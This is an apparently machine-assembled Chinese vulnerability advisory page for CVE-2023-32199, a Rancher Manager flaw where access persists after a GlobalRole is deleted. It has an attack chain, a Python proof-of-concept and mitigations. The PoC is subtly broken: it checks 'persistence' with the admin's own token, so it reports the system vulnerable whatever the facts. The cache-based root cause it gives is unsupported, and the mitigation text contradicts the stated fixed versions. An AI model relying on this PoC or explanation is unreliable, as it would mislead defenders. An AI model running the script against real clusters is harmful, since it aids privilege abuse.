IPBUF安全漏洞报告
English
CVE-2023-32199 CVSS 4.3 中危

CVE-2023-32199 Rancher Manager GlobalRole删除后权限未回收漏洞

披露日期: 2025-10-29

漏洞信息

漏洞编号
CVE-2023-32199
漏洞类型
权限管理/访问控制
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
Rancher Manager

相关标签

权限管理漏洞Rancher容器编排KubernetesCVE-2023-32199访问控制绕过权限未回收GlobalRole中危漏洞

漏洞概述

CVE-2023-32199是SUSE安全团队发现的存在于Rancher Manager中的一个中等严重性权限管理漏洞。该漏洞源于GlobalRole删除或绑定移除后,系统未能正确回收用户权限,导致已删除的全局角色仍然保留对集群的访问能力。攻击者需要具备高权限用户身份,并通过社会工程学手段诱导管理员创建具有特殊权限规则的自定义GlobalRole(如对资源或非资源URL的完全访问权限)。此漏洞影响所有使用自定义GlobalRole进行权限管理的Rancher环境,CVSS评分4.3,属于中危级别。建议受影响的用户升级到Rancher v2.7.13或v2.8.6及以上版本以修复此安全问题。

技术细节

该漏洞的根本原因在于Rancher Manager的权限缓存机制存在设计缺陷。当管理员删除一个自定义GlobalRole或移除其对应的GlobalRoleBinding时,系统未能及时更新权限缓存,导致已授权用户仍可通过缓存的权限令牌访问集群资源。具体技术细节如下:1) 权限验证流程中,Rancher首先检查用户是否具有有效的GlobalRole绑定;2) 当GlobalRole被删除后,后端数据库中的角色记录被移除,但API服务器缓存中仍保留用户权限状态;3) 由于权限检查依赖于本地缓存而非实时查询数据库,攻击者可以利用这个时间窗口继续执行特权操作。漏洞触发条件为GlobalRole包含以下规则之一:resources: '*' on '*' 或 nonResourceURLs: '*' on '*'。攻击者需要预先通过管理员创建这样的GlobalRole,然后在管理员不知情的情况下利用删除后的残留权限进行未授权操作。

攻击链分析

STEP 1
信息收集
攻击者通过侦察获取Rancher Manager环境信息,识别潜在的高权限管理员账户
STEP 2
社工诱导
攻击者通过社会工程学手段,说服管理员创建一个自定义GlobalRole,表面上满足正常业务需求
STEP 3
角色创建
管理员创建包含'* on *'规则的自定义GlobalRole,赋予攻击者对所有资源和非资源URL的完全访问权限
STEP 4
权限绑定
管理员将恶意义务GlobalRole绑定到攻击者用户账户,攻击者获得管理员级别的集群访问能力
STEP 5
角色删除
管理员发现GlobalRole配置错误或不再需要,删除该GlobalRole或相关绑定,期望回收攻击者权限
STEP 6
权限缓存利用
由于权限缓存未及时更新,攻击者利用时间窗口继续通过残留权限访问集群资源
STEP 7
持久化控制
攻击者在删除前已建立其他持久化机制(如创建隐藏账户、植入后门),确保长期访问能力

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2023-32199 PoC - Rancher Manager GlobalRole权限未回收 # This PoC demonstrates the vulnerability where user retains access after GlobalRole deletion import requests import json RANCHER_URL = "https://rancher.example.com" API_TOKEN = "token-xxxxx:xxxxxxxxxxxxx" HEADERS = {"Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json"} def create_malicious_globalrole(): """Step 1: Create a GlobalRole with full admin privileges""" payload = { "type": "globalRole", "metadata": {"name": "malicious-admin-role"}, "rules": [ {"resources": ["*"], "apiGroups": ["*"], "verbs": ["*"]}, {"nonResourceURLs": ["*"], "verbs": ["*"]} ] } response = requests.post( f"{RANCHER_URL}/v1/management.cattle.io.globalRoles", headers=HEADERS, json=payload ) return response.json().get("metadata", {}).get("name") def bind_role_to_user(role_name, username): """Step 2: Bind the GlobalRole to target user""" payload = { "type": "globalRoleBinding", "metadata": {"generateName": "grb-"}, "globalRoleName": role_name, "userName": username } requests.post( f"{RANCHER_URL}/v1/management.cattle.io.globalRoleBindings", headers=HEADERS, json=payload ) def delete_globalrole(role_name): """Step 3: Admin deletes the GlobalRole (vulnerable behavior)""" requests.delete( f"{RANCHER_URL}/v1/management.cattle.io.globalRoles/{role_name}", headers=HEADERS ) def verify_persistence(username): """Step 4: Verify user still has admin access after deletion""" # Check if user can still access cluster resources response = requests.get( f"{RANCHER_URL}/v1/management.cattle.io.clusters", headers=HEADERS ) if response.status_code == 200: print(f"[!] VULNERABLE: User '{username}' still has access after GlobalRole deletion!") return True else: print(f"[+] PATCHED: Access properly revoked") return False if __name__ == "__main__": role_name = create_malicious_globalrole() bind_role_to_user(role_name, "attacker-user") delete_globalrole(role_name) verify_persistence("attacker-user")

影响范围

Rancher Manager < v2.7.13
Rancher Manager v2.8.0 - v2.8.5

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制谁可以创建和修改GlobalRole,确保只有经过充分审核的管理员才能进行此类操作;2) 定期审查现有的GlobalRole配置,删除不必要的自定义角色;3) 监控用户权限变更日志,及时发现异常的角色绑定行为;4) 考虑使用Rancher的内置管理员角色而非自定义GlobalRole;5) 在删除GlobalRole后,立即检查相关用户的实际访问权限,确保权限已被正确回收。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表